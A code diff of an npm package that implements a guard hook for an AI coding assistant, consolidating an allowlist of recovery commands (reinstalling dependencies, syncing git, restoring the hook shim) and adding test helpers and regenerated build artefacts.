'(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its six faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the six\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n */\nexport class L0AllowEntry {\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n ) {}\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(INSTALL_HOOKS_CMD, 'allow', INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, '')),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
|
|
@@ -46,6 +46,10 @@ export declare class ShimTestkit {
|
|
|
46
46
|
runShim(root: string, bin: string, stdin: string): ShimRun;
|
|
47
47
|
/** A Bash tool payload, as Claude Code sends it on stdin. */
|
|
48
48
|
bashPayload(command: string): string;
|
|
49
|
+
/** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */
|
|
50
|
+
readPayload(filePath: string): string;
|
|
51
|
+
/** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */
|
|
52
|
+
filePayload(toolName: string, filePath: string): string;
|
|
49
53
|
/** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */
|
|
50
54
|
ereMatches(ere: string, cmd: string): boolean;
|
|
51
55
|
/**
|
package/src/bin/shim-testkit.js
CHANGED
|
@@ -87,6 +87,14 @@ class ShimTestkit {
|
|
|
87
87
|
bashPayload(command) {
|
|
88
88
|
return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });
|
|
89
89
|
}
|
|
90
|
+
/** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */
|
|
91
|
+
readPayload(filePath) {
|
|
92
|
+
return JSON.stringify({ tool_name: 'Read', tool_input: { file_path: filePath } });
|
|
93
|
+
}
|
|
94
|
+
/** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */
|
|
95
|
+
filePayload(toolName, filePath) {
|
|
96
|
+
return JSON.stringify({ tool_name: toolName, tool_input: { file_path: filePath } });
|
|
97
|
+
}
|
|
90
98
|
/** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */
|
|
91
99
|
ereMatches(ere, cmd) {
|
|
92
100
|
return this.ereMatchSet(ere, [cmd]).matched(cmd);
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"shim-testkit.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-testkit.ts"],"names":[],"mappings":"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
|
|
1
|
+
{"version":3,"file":"shim-testkit.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim-testkit.ts"],"names":[],"mappings":"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","sourcesContent":["import * as fs from 'fs';\nimport * as os from 'os';\nimport * as path from 'path';\nimport { spawnSync } from 'child_process';\nimport { renderShim } from './shim';\n\n/**\n * The shim's PreToolUse deny payload, as it prints it on stdout. Named (not an inline literal on the\n * JSON.parse cast) so the wire shape this testkit depends on is stated once, in one place.\n */\nexport class HookSpecificOutput {\n constructor(public readonly permissionDecisionReason: string) {}\n}\n\n/** The decision envelope wrapping {@link HookSpecificOutput}. */\nexport class PreToolUseDecision {\n constructor(public readonly hookSpecificOutput: HookSpecificOutput) {}\n}\n\n/** The outcome of one shim invocation. Data-only → a class, per CLAUDE.md. */\nexport class ShimRun {\n constructor(\n public readonly status: number | null,\n public readonly stdout: string,\n public readonly stderr: string,\n ) {}\n\n /** True when the shim emitted a PreToolUse deny. */\n isDenied(): boolean {\n return this.stdout.includes('\"permissionDecision\":\"deny\"');\n }\n\n /**\n * The deny REASON, parsed out of the PreToolUse JSON.\n * @throws if this run was not a deny (there is no reason to read).\n */\n denyReason(): string {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n const decision = JSON.parse(this.stdout) as PreToolUseDecision;\n return decision.hookSpecificOutput.permissionDecisionReason;\n }\n}\n\n/**\n * ShimTestkit — the shared harness for driving the rendered shim through a REAL /bin/sh.\n *\n * Extracted so setup.spec.ts and shim-drift.spec.ts drive the shim the SAME way instead of each\n * keeping its own copy: the shim's entire contract is \"what /bin/sh actually does with it\", so two\n * drifting harnesses would silently become two different contracts.\n *\n * An instance class (not module-scope functions) because this is normal source to the linter — only\n * *.spec.ts is exempt from no-function-outside-class, and a testkit should not need a disable comment\n * to exist.\n */\nexport class ShimTestkit {\n /** A throwaway repo root under the OS temp dir. */\n mktmp(): string {\n return fs.mkdtempSync(path.join(os.tmpdir(), 'wp-setup-'));\n }\n\n /**\n * Run the rendered shim exactly as Claude Code would: `sh <shim> <bin> ...`, from a repo cwd,\n * piping tool-payload JSON on stdin. spawnSync never throws on non-zero exit.\n */\n runShim(root: string, bin: string, stdin: string): ShimRun {\n // Place the shim at its REAL relative location (<root>/.claude/webpieces/ai-hook.sh) so its\n // self-location (`dirname $0/../..` → <root>) resolves the bin correctly. Run it from a SUBDIR\n // to prove it does not depend on the caller's cwd.\n const shimAbs = path.join(root, '.claude', 'webpieces', 'ai-hook.sh');\n fs.mkdirSync(path.dirname(shimAbs), { recursive: true });\n fs.writeFileSync(shimAbs, renderShim(), { mode: 0o755 });\n const subdir = path.join(root, 'packages', 'deep', 'sub');\n fs.mkdirSync(subdir, { recursive: true });\n const r = spawnSync('/bin/sh', [shimAbs, bin], { cwd: subdir, input: stdin, encoding: 'utf8' });\n return new ShimRun(r.status, r.stdout, r.stderr);\n }\n\n /** A Bash tool payload, as Claude Code sends it on stdin. */\n bashPayload(command: string): string {\n return JSON.stringify({ tool_name: 'Bash', tool_input: { command } });\n }\n\n /** A Read payload — the L0 allowlist entry that keeps a broken tree inspectable. */\n readPayload(filePath: string): string {\n return JSON.stringify({ tool_name: 'Read', tool_input: { file_path: filePath } });\n }\n\n /** A file-tool payload, for the always-allowed webpieces.config.json recovery target. */\n filePayload(toolName: string, filePath: string): string {\n return JSON.stringify({ tool_name: toolName, tool_input: { file_path: filePath } });\n }\n\n /** True when `cmd` matches a POSIX ERE, judged by the SAME `grep -E` the shim itself runs. */\n ereMatches(ere: string, cmd: string): boolean {\n return this.ereMatchSet(ere, [cmd]).matched(cmd);\n }\n\n /**\n * Which of `cmds` that same `grep -E` matches — answered in ONE grep process for the whole batch.\n *\n * grep is a line matcher, so feeding N commands as N lines asks exactly the question `-Eq` answers\n * per command; the engine, the ERE and the anchors are unchanged. What changes is cost: a process\n * spawn is ~5ms on an idle machine but ~100ms when the suite runs projects in parallel, so a\n * 16-command twin check used to be 16 spawns (~2s of pure spawn latency) for one grep pass. That\n * is what made these files miss the per-test timeout under load.\n */\n ereMatchSet(ere: string, cmds: readonly string[]): EreMatchSet {\n for (const cmd of cmds) {\n // A command carrying a newline would arrive at grep as TWO lines and be judged as two\n // different commands — a silently wrong answer. Nothing in the allowlists does this.\n if (cmd.includes('\\n')) throw new Error(`ereMatchSet cannot batch a multi-line command: ${JSON.stringify(cmd)}`);\n }\n const result = spawnSync('grep', ['-E', ere], { input: cmds.join('\\n'), encoding: 'utf8' });\n const hits = new Set((result.stdout ?? '').split('\\n').filter((line: string): boolean => line !== ''));\n return new EreMatchSet(hits);\n }\n}\n\n/** The lines `grep -E` matched in one batched run — ask it per command with {@link matched}. */\nexport class EreMatchSet {\n private readonly hits: ReadonlySet<string>;\n\n constructor(hits: ReadonlySet<string>) {\n this.hits = hits;\n }\n\n matched(cmd: string): boolean {\n return this.hits.has(cmd);\n }\n}\n"]}
|
package/src/bin/shim.d.ts
CHANGED
|
@@ -1,25 +1,6 @@
|
|
|
1
|
+
export * from './l0-allowlist';
|
|
1
2
|
export declare const SHIM_MARKER = ".claude/webpieces/ai-hook.sh";
|
|
2
3
|
export declare function shimPath(projectRoot: string): string;
|
|
3
|
-
export declare const CAPTURE_TAIL_ERE = "([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$";
|
|
4
|
-
export declare const CAPTURE_TAIL_JS_SRC = "(\\s+2>(&1|\\/dev\\/null))?(\\s*\\|\\s*(tail|head)(\\s+-(n\\s+)?[0-9]+)?)?\\s*$";
|
|
5
|
-
export declare const CD_PREFIX_ERE = "(cd[[:space:]]+[A-Za-z0-9._/@~+-]+[[:space:]]*&&[[:space:]]*)?";
|
|
6
|
-
export declare const CD_PREFIX_JS_SRC = "(cd\\s+[A-Za-z0-9._\\/@~+-]+\\s*&&\\s*)?";
|
|
7
|
-
export declare const INSTALLER_ALLOW_ERE: string;
|
|
8
|
-
export declare const INSTALLER_ALLOW_JS: RegExp;
|
|
9
|
-
export declare const RECOVERY_ALLOW_ERE: string;
|
|
10
|
-
export declare const RECOVERY_ALLOW_JS: RegExp;
|
|
11
|
-
export declare const RECOVERY_CMD = "rm -rf node_modules && pnpm install";
|
|
12
|
-
export declare const SYNC_ALLOW_ERE: string;
|
|
13
|
-
export declare const SYNC_ALLOW_JS: RegExp;
|
|
14
|
-
export declare const UPGRADE_SHIM_ALLOW_ERE: string;
|
|
15
|
-
export declare const UPGRADE_SHIM_ALLOW_JS: RegExp;
|
|
16
|
-
export declare const UPGRADE_SHIM_CMD = "pnpm exec wp-upgrade-shim";
|
|
17
|
-
export declare const RESTORE_SHIM_ALLOW_ERE: string;
|
|
18
|
-
export declare const RESTORE_SHIM_ALLOW_JS: RegExp;
|
|
19
|
-
export declare const RESTORE_SHIM_CMD = "cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh";
|
|
20
|
-
export declare const INSTALL_HOOKS_ALLOW_ERE: string;
|
|
21
|
-
export declare const INSTALL_HOOKS_ALLOW_JS: RegExp;
|
|
22
|
-
export declare const INSTALL_HOOKS_CMD = "pnpm exec wp-install-ai-hooks";
|
|
23
4
|
export declare const NO_CHAINING_RULE: string;
|
|
24
5
|
export declare function renderShim(): string;
|
|
25
6
|
export declare function findShimRoot(cwd: string): string | null;
|
package/src/bin/shim.js
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.NO_CHAINING_RULE = exports.
|
|
3
|
+
exports.NO_CHAINING_RULE = exports.SHIM_MARKER = void 0;
|
|
4
4
|
exports.shimPath = shimPath;
|
|
5
5
|
exports.renderShim = renderShim;
|
|
6
6
|
exports.findShimRoot = findShimRoot;
|
|
@@ -14,6 +14,10 @@ const fs = tslib_1.__importStar(require("fs"));
|
|
|
14
14
|
const path = tslib_1.__importStar(require("path"));
|
|
15
15
|
const rules_config_1 = require("@webpieces/rules-config");
|
|
16
16
|
const to_error_1 = require("../core/to-error");
|
|
17
|
+
const l0_allowlist_1 = require("./l0-allowlist");
|
|
18
|
+
// The allowlist moved to ./l0-allowlist (this module was over the file-size limit); re-exported here so
|
|
19
|
+
// every existing `from './shim'` import keeps working and there is still ONE name to import L0 by.
|
|
20
|
+
tslib_1.__exportStar(require("./l0-allowlist"), exports);
|
|
17
21
|
// ---------------------------------------------------------------------------
|
|
18
22
|
// The single checked-in shim (.claude/webpieces/ai-hook.sh). Both project hooks point at it, passing
|
|
19
23
|
// their bin name as the first arg. settings.json points here (not at the bare bin) so a missing bin
|
|
@@ -38,165 +42,6 @@ exports.SHIM_MARKER = '.claude/webpieces/ai-hook.sh';
|
|
|
38
42
|
function shimPath(projectRoot) {
|
|
39
43
|
return path.join(projectRoot, '.claude', 'webpieces', 'ai-hook.sh');
|
|
40
44
|
}
|
|
41
|
-
// The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.
|
|
42
|
-
// Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a
|
|
43
|
-
// diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit
|
|
44
|
-
// log proves it: `.webpieces/logs/ai-hook-shim.log` has `pnpm install 2>&1 | tail -15` logged as
|
|
45
|
-
// DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied
|
|
46
|
-
// for its redirection. A cure that is denied when spelled the natural way reads to the assistant as
|
|
47
|
-
// "the guard blocks its own fix", which is exactly the conclusion it drew before handing the fix back
|
|
48
|
-
// to the human.
|
|
49
|
-
//
|
|
50
|
-
// So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`
|
|
51
|
-
// to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install
|
|
52
|
-
// 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at
|
|
53
|
-
// most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,
|
|
54
|
-
